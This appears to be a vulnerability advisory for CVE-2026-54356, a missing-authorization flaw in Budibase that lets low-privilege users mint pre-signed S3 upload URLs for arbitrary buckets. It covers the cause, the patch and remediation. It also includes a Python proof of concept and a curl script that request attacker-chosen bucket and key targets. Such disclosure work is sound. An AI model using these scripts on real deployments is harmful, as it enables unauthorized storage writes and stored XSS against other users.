CVE-2026-54356: Missing Authorization in Budibase leading to Arbitrary S3 Upload URL Generation

CVE-2026-54356 is a high-severity missing authorization vulnerability (CWE-862) discovered in the Budibase low-code platform. The vulnerability is located within the @budibase/server backend component in versions prior to 3.41.3.

The flaw allows an authenticated user with only minimal application permissions to invoke backend API endpoints to generate S3 pre-signed PutObject upload URLs. These URLs are signed server-side using the AWS credentials configured for the workspace's S3 datasource.

Because the backend component mints the URL on behalf of the user, the attacker can specify arbitrary target buckets and keys. The resulting pre-signed URL allows the attacker to bypass standard Budibase tenant boundaries and directly write data to the backend S3 storage.

The vulnerability originates from a failure to perform appropriate object-level authorization checks on the attachment upload endpoint. Specifically, the route configuration handling attachment S3 upload URLs does not verify if the requesting user has the authority to interact with a specific S3 datasource ID.

In the vulnerable routing configuration, the endpoint uses a generic table-level write permission middleware. Any authenticated application user—even those with the minimal, built-in BASIC role—possesses table-write capabilities within their published application workspaces, allowing them to pass this routing barrier.

Once the routing layer authorizes the request, the backend controller accepts user-supplied parameters for the S3 bucket name and key path directly from the JSON request body. The controller does not validate whether these parameters align with the bucket defined in the datasource configuration, permitting arbitrary S3 bucket targeting.

The insecure route configuration inside packages/server/src/api/routes/static.ts utilizes the generic TABLE authorization check instead of verifying the specific datasource ID.

// VULNERABLE ROUTE
.post(
  "/api/attachments/:datasourceId/url",
  recaptcha,
  authorized(PermissionType.TABLE, PermissionLevel.WRITE),
  controller.getSignedUploadURL
)

The fix commit 0f1a20e532119cb4b354840e219072e2ed277f32 addresses this by applying a strict object-level authorization model and validating the target bucket parameters against the server-side configuration.

// PATCHED ROUTE
.post(
  "/api/attachments/:datasourceId/url",
  recaptcha,
  authorized(PermissionType.DATASOURCE, PermissionLevel.WRITE),
  controller.getSignedUploadURL
)

The corresponding controller was updated to verify that the user-specified bucket name matches the bucket configured and pinned within the designated datasource settings, rejecting mismatched inputs.

Exploitation of CVE-2026-54356 requires an active authenticated session inside a published Budibase application. The attacker must obtain the target S3 datasource ID and the current application ID from client-side network traffic.

The attacker sends a crafted HTTP POST request to the /api/attachments/:datasourceId/url endpoint with a JSON body specifying the target S3 bucket name and key path. The server generates a pre-signed S3 URL using its backend AWS credentials and returns it within the JSON response payload.

The attacker extracts the pre-signed URL from the HTTP response and makes a direct HTTP PUT request containing their payload to the Amazon S3 endpoint. Because the write is signed by valid server-side credentials, the S3 bucket accepts the request, allowing the attacker to bypass all application-level storage filters.

A proof-of-concept Python script can automate authentication, URL retrieval, and subsequent S3 object writing:

# CVE-2026-54356 - Budibase arbitrary S3 signed upload URL issuance PoC
import argparse
import sys
import requests
 
def login(session, target, app_id, email, password):
    url = f"{target}/api/global/auth/{app_id}/login"
    headers = {"Content-Type": "application/json", "x-budibase-app-id": app_id}
    r = session.post(url, json={"username": email, "password": password}, headers=headers, timeout=30)
    if r.status_code != 200:
        sys.exit(f"[-] Login failed: {r.status_code}")
 
def mint_signed_url(session, target, app_id, datasource_id, bucket, key):
    url = f"{target}/api/attachments/{datasource_id}/url"
    headers = {"Content-Type": "application/json", "x-budibase-app-id": app_id}
    r = session.post(url, json={"bucket": bucket, "key": key}, headers=headers, timeout=30)
    if r.status_code != 200:
        sys.exit(f"[-] Request failed: {r.status_code}")
    return r.json().get("signedUrl")

Alternatively, a lightweight bash and curl sequence can be used to validate the vulnerability:

#!/usr/bin/env bash
# Minimal curl validation script
 
# 1) Authenticate as a BASIC user
curl -s -c cookies.txt \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -X POST "$TARGET/api/global/auth/$APP_ID/login" \
  -d "{\"username\":\"$EMAIL\",\"password\":\"$PASSWORD\"}"
 
# 2) Request the pre-signed upload URL
curl -s -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -X POST "$TARGET/api/attachments/$DATASOURCE_ID/url" \
  -d "{\"bucket\":\"$BUCKET\",\"key\":\"$KEY\"}"

The concrete security impact of CVE-2026-54356 is significant. Attackers can leverage the server-side credentials to modify, overwrite, or delete objects within any S3 bucket accessible by the backend server's AWS credentials.

If the targeted S3 bucket is configured to serve static assets or web resources to other users, an attacker can overwrite existing static HTML or JavaScript files. This enables Stored Cross-Site Scripting (XSS), exposing other platform users to session hijacking and credential theft.

Additionally, attackers can exploit this flaw to upload large files to the target's bucket, leading to resource exhaustion or high cloud consumption costs. Because the request relies on valid user sessions, standard intrusion detection systems may view the request as legitimate application traffic.

The primary remediation for CVE-2026-54356 is to upgrade Budibase self-hosted instances to version 3.41.3 or higher. This release restricts endpoint access and enforces strict server-side bucket validation checks.

When immediate patching is not possible, organizations should apply S3 IAM least-privilege policies to the credentials used by the platform. Restrict AWS credentials to allow only specific S3 actions on dedicated bucket prefixes.

Administrators should also ensure that the bucket name is explicitly defined and locked in the S3 datasource configuration. Finally, configure AWS CloudTrail to monitor and alert on unexpected PutObject operations originating from unexpected IP addresses.